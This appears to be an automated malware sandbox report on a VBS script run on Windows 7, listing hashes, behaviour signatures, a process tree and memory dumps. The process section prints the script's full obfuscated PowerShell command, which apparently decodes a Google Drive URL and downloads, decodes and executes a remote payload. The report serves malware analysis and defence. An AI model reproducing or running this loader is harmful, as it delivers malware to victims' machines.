Analysis

  • max time kernel
    150s
  • max time network
    128s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    05/11/2024, 03:57

General

  • Target

    92dbf37835455cd68d10e5cf6f750ec2d72de8ec7b8d92ffb751f7ceb8653523.vbs

  • Size

    15KB

  • MD5

    55c8ee8061b9a47f8f6e66b3e8af9f6a

  • SHA1

    a8d0c9f6bea7fc5c13dfe86c5beca52457dd6a3c

  • SHA256

    92dbf37835455cd68d10e5cf6f750ec2d72de8ec7b8d92ffb751f7ceb8653523

  • SHA512

    84cb1f3b8063dedff0ffcce545eb96a0411341e924d22088a1a63ad6c2c45a8980718b881f8fb323cd2c7a01618daed6da610a018c4ac2e45640e7b15b69cb90

  • SSDEEP

    384:qbURUoc1vcM7vqGgTUIk0AZl5UYQdRmFhqm5pd:0KJ0GV7U5crm7qYpd

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Network Service Discovery 1 TTPs 1 IoCs

    Attempt to gather information on host's network.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\92dbf37835455cd68d10e5cf6f750ec2d72de8ec7b8d92ffb751f7ceb8653523.vbs"
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:2728
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Jone Semicurvilinear Plimraadden Storywriter #>;$Udlndinge='Ancien';<#Sndag Snydertampens Formulation Forkamres Unrivet Fuldbyrdet #>; function Immenser($Accoucheurers135){If ($host.DebuggerEnabled) {$granerne++;}$kegful=$Systemgruppers+$Accoucheurers135.'Length' - $granerne; for ( $Tyveaarsdagene=4;$Tyveaarsdagene -lt $kegful;$Tyveaarsdagene+=5){$Tostrenget=$Tyveaarsdagene;$Trehager+=$Accoucheurers135[$Tyveaarsdagene];}$Trehager;}function Aegicrania($Skjulesteds){ . ($Indkomstpligtiges) ($Skjulesteds);}$Spiritualty247=Immenser 'OutpM Raso raszMariiIndel,opslDikoaAlbe/Ma i ';$diaschisma=Immenser 'FortT I llEnedsCons1.nre2 rud ';$Unisexuality=' Cog[eyeoNFy.dEMedvTalve.ReflS ileeSingRDesiV eroiChokcKjesEbo lp,dstOAkkoIS aanglobTIn smBuruaSejpnFaitAZip GStheEsandr Wes]Unde:Anky:RadeSKollEIncacSrgeUBegyrSya iUdluTSandYHaknP W eRWiltOCro TDoctoRetsCAnimOR.stlCliv= Wed$kn bdUnbrIDagvATheos uksCDefiHTuskipraeS S,im GraA eng ';$Spiritualty247+=Immenser ' Le 5Pala. Cul0Sp,c Anop(RetrWEriniDue nBu ud AfdoRehaw KatsPers LkkeN ColTElek Demu1 Dor0Fors.Ribb0Havm;.eac OrnaWSlidiAbbrnKloi6 rea4Skye;Thre Progx Hyd6 Imp4Retn;Bigg asr un vVolk:Shel1V,so3nonb1Rnke.Stet0Fo,e)Diab CoulGOmfae OkocSkulkankeoCro./Kapi2Konk0Fem 1Udra0B gh0 C e1 T.l0Immu1B li VoicFWandiAgrersplae,urufTopeoA.tox Ci,/ oh1Plat3 Lik1 T l.Ty,a0Nor ';$Micropaleontologist=Immenser 'AlfoUIndlsNatuESoluRO ga-EfteASfaeGCos EO eaN,shaTmisp ';$pharyngology=Immenser 'Te ehLegatS amtTeaspWhissArch:Lakr/klar/Ad.ldLeverU.foiDri,vVg keSpid. turgFreao looDebigPhthl DipeKany.DraccHosto igmFjor/SaleuGe.fcHovn? ConeWassx ,etpWarroDe,drPrett eo=Heatdmne,ooff wD ganDentltrieo EclaAnchdPlat&BaluiIchtdPors=akad1 M ntBr lI renvDia rHarpdOxyhXRecuTSe oV C pB.ids8OppoiOnyc-SkabCBenokKerna Sacy MadZBioskLag OBog,RRep,LWhig4Uds BParaXFingdBe kF RepVPseueLol hCan 6 FilEKubiOSpar ';$Afstikkerens=Immenser 'Bygg>Pold ';$Indkomstpligtiges=Immenser 'H,loiJonbEBogsx kat ';$Rollings='Forbryderes';$Fornjelsesrejse='\Avlshingstes2.Xyl';Aegicrania (Immenser 'Asga$ CipgFngsl.pvuOMy tb llAOutml Ska:IvitNFu.dareveGValagFaciiLgesN unoGAn slsikkyC ns=Derm$R.prECoveN Apiv.ord:wittA pedpa uaPtar.d psAVaerTKe,eAS un+Sce.$LacefLipoO esiR Mi n,ataJchapEafl.L Br smineeSlikS KlirAdreeAnatjTablsT,roe A.e ');Aegicrania (Immenser ',amf$Co,kG SubL Foro herBOpiuANrmeLRege: litFBedeON nar DemURingD VogRFruge SfafL,nde nkRAfbreDatiNSudacAne.eTraasOdge2K,ns3Fl r5Fab = nor$ CenPUovehHexaATe,rRSurnyRo tn BetgRe no ralReliobackG,ubly In,. Neds,terpPlatL LusIHottTHigh(Rach$ M raVirkfPin s St TComeIDikokKan KMythEslanrSgereImmoN ortsedei)Intr ');Aegicrania (Immenser $Unisexuality);$pharyngology=$Forudreferences235[0];$Aphanozygous=(Immenser ' Adi$UnevGR.velFortO ,hib BorADeliL Edw: GenCLeksyCa dcSminLSan o NedN VasITresCAile=MadsNPseuETuguwG,ne-e vro.errB klujLacteTop CPol,T Bio SkrasTerrYRoqusforetMoo eSultMSeru.ThyrNAirmESpyfTMe t. PseW PopESmmeBSemiCMntrlAcheIfo tE Ma n jerTEksk ');Aegicrania ($Aphanozygous);Aegicrania (Immenser 'Axio$ForeCEncyy Ov.cOpl.luncaosedunIndtiBea.cWean.PodoH .bleBla a Sprd LeveSu er Kl sHete[Ethn$ Dy MCidaiFo kcflder SkvoEa epGe eaGi,al ame SysoKrftn BehtSkrpoYve,lHandoHypegSortiCalisTravtHof ]Sus =Ulde$stemSBejepU stiDallrAngiiPro tInteuFor aColll ettMandy Me.2busl4Thic7Noti ');$Nondeflationary=Immenser ' Epo$VariCPtilySparc l dlLeddoMoton UdliDramcCull.FarlD T ao En,w AcenN sol veroM noaDag,d BesFEmboiSultlBereeOrd,(Kjes$Und.p SprhSulta bjer eiychoknWe ngU.foost rl DewoUdsugWooly.ove,Dyre$ CymRCly.eWessg G naH lltexemtDiskaPaddeHousrEn.esUnde)Dagb ';$Regattaers=$naggingly;Aegicrania (Immenser 'Tra $Xen GGrafl UlvOT anb penaAi wLSino:HattM alaAA,toZErotURhinRThlaK .weAakts= O e(smaktha vEUnd sRearT.ure-FlotpSeriALu.stTankhC vi Toki$UglerbarbEGascg quia Ca,tFrolTSynsaSkafe BalRTranSSpri)Kv l ');while (!$mazurka) {Aegicrania (Immenser ' po$non gPhotlAltao CatbNonsaJil,lTung: BitBTubauLntirJanilVeroeTi stHigh=Outw$ Dimt .unrMariufasteYd.r ') ;Aegicrania $Nondeflationary;Aegicrania (Immenser 'TjrnSParatPan aAestrT.nstTele-B,nkSPy.eL Bl eBry EPiloPCon Fu v4Gip ');Aegicrania (Immenser 'P,an$Os egUrk.l ecaOT adBAr haVirkLJagt:Gi bmpaanABarnzMariuTermRAlonkAgamA Car=C os(EjerTYamseD lmsunnoTSub.-u.baPBrd AStu,TBogoHidrt tyk$LgterOutne NonG MegADisstRaditIndkA HaaE .apRNoncs Cam)Blok ') ;Aegicrania (Immenser 'U vu$ EksgCrepLJussOBetaB t eaBehaLHy l: losSRotukafplrFor u enceBudctYverSFrar=Poss$ ChuGAlarLBanaOUtilBDataAPa.tLCajs:Bi laCompN SigtOverIJ coPBlokY MatostyrNL veITraiNLich+hums+Tier%Pyro$MatsFVagaOU.dnRSin u HalDMalarDo sEHiblFOvere.isfRCha,eSta NKosoC Kr.eTrirs .ve2Prop3 Fll5Runr. Cucc SwaoMerruDoglNNaziTKorr ') ;$pharyngology=$Forudreferences235[$skruets];}$Fortidige=289428;$Tacamahac=30629;Aegicrania (Immenser 'Rusl$Tee,GInd LOmstOPhosbMeleA pdL.ele:Antit pipRPro YSifaKomskKPh nE TartGuldECoy k A rNNit,i PrekBenzSSkil Burl=Su e Ru,GOverEButtT Phy-MyolC T koStavnBr,mtSupeEAsepnbrndTLelw Pneo$InsiRFasee Argg,nkoa Ov,T.isatBagtaNonceraasRHedgsNeg, ');Aegicrania (Immenser ' N,n$ EftgNonll banoKultb ,fsa achlPena:St aIFrees Rego .edcParar Ke ySan mV rieOver Russ= mo Roth[TaclS,ndbyAigls ydrt.alue DenmMy,o.ret CC gaoUnc,nVomivBhlae,bbrrstr tK,al] Aet:Kred:ForsFTilfr Subo icmW ldB Unda,ulpsBru.eSk.r6,rys4SensSSimrtWarsrMenniFedtnT pngLa.i(Gods$Syn.TM,strHumayMicokLi,nkRegne.owat Rege petkDrifnMythi,inakOutcs Co.)Imit ');Aegicrania (Immenser ' fem$Opdrg ,anl OakoRielbMotoAUd.olServ: b pRanb E RodCSediIS rirBrinKAfsku hytlBumkEBusaRRestiA tiNMargg DucESlb,rSquaNEboneLuttsr ce K n= Dr Hor[UnarS kanYDel s lertCor E DevmS,if.Torgt NoneKarixSa ktU,de. SoreMis,nClocc ekoPiped OboIDro nKittGCur ],kva:Subs: OpsATrflSDerecMateiTridIFo s.DigegFrdsE E hTg ngS M ntDeltraccoimuhaN.ectgUdkl( Gen$SymbISyres ilkOVel,CCyt RLy tYMo rMVolaeE cl)N ur ');Aegicrania (Immenser 'Hj,e$AverGS inl Ha.OForfBProda DisLOvid: UpsjU,ocu MasMFlorb OrnUAt acsaboK ela=Bere$Od.rRDukkE pheCeksaiSamlrHadbkSkufuNedrl .aueSilkRNonmiM hanPrecgUnwwe KulrVrdiNStukE ReaSS.pe.StamsBa nuuncabRelesSmittEndorSt kiBenzNMesoGSt r(Dis $TystfAdr oAncyR CerTTy,nIVeleDUnboiSaragMedaeBene,Hie $ NavTCe ea R pc hibAB,limMedlaRigshTo aABrudCK.lb) el ');Aegicrania $Jumbuck;"
      2⤵
      • Network Service Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2736

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\Cab4A99.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • memory/2736-20-0x000007FEF626E000-0x000007FEF626F000-memory.dmp

    Filesize

    4KB

  • memory/2736-21-0x000000001B2C0000-0x000000001B5A2000-memory.dmp

    Filesize

    2.9MB

  • memory/2736-22-0x0000000002510000-0x0000000002518000-memory.dmp

    Filesize

    32KB

  • memory/2736-23-0x000007FEF5FB0000-0x000007FEF694D000-memory.dmp

    Filesize

    9.6MB

  • memory/2736-24-0x000007FEF5FB0000-0x000007FEF694D000-memory.dmp

    Filesize

    9.6MB

  • memory/2736-25-0x000007FEF5FB0000-0x000007FEF694D000-memory.dmp

    Filesize

    9.6MB

  • memory/2736-26-0x000007FEF5FB0000-0x000007FEF694D000-memory.dmp

    Filesize

    9.6MB

  • memory/2736-27-0x000007FEF5FB0000-0x000007FEF694D000-memory.dmp

    Filesize

    9.6MB

  • memory/2736-28-0x000007FEF626E000-0x000007FEF626F000-memory.dmp

    Filesize

    4KB

  • memory/2736-29-0x000007FEF5FB0000-0x000007FEF694D000-memory.dmp

    Filesize

    9.6MB

  • memory/2736-30-0x000007FEF5FB0000-0x000007FEF694D000-memory.dmp

    Filesize

    9.6MB

  • memory/2736-31-0x000007FEF5FB0000-0x000007FEF694D000-memory.dmp

    Filesize

    9.6MB

  • memory/2736-32-0x000007FEF5FB0000-0x000007FEF694D000-memory.dmp

    Filesize

    9.6MB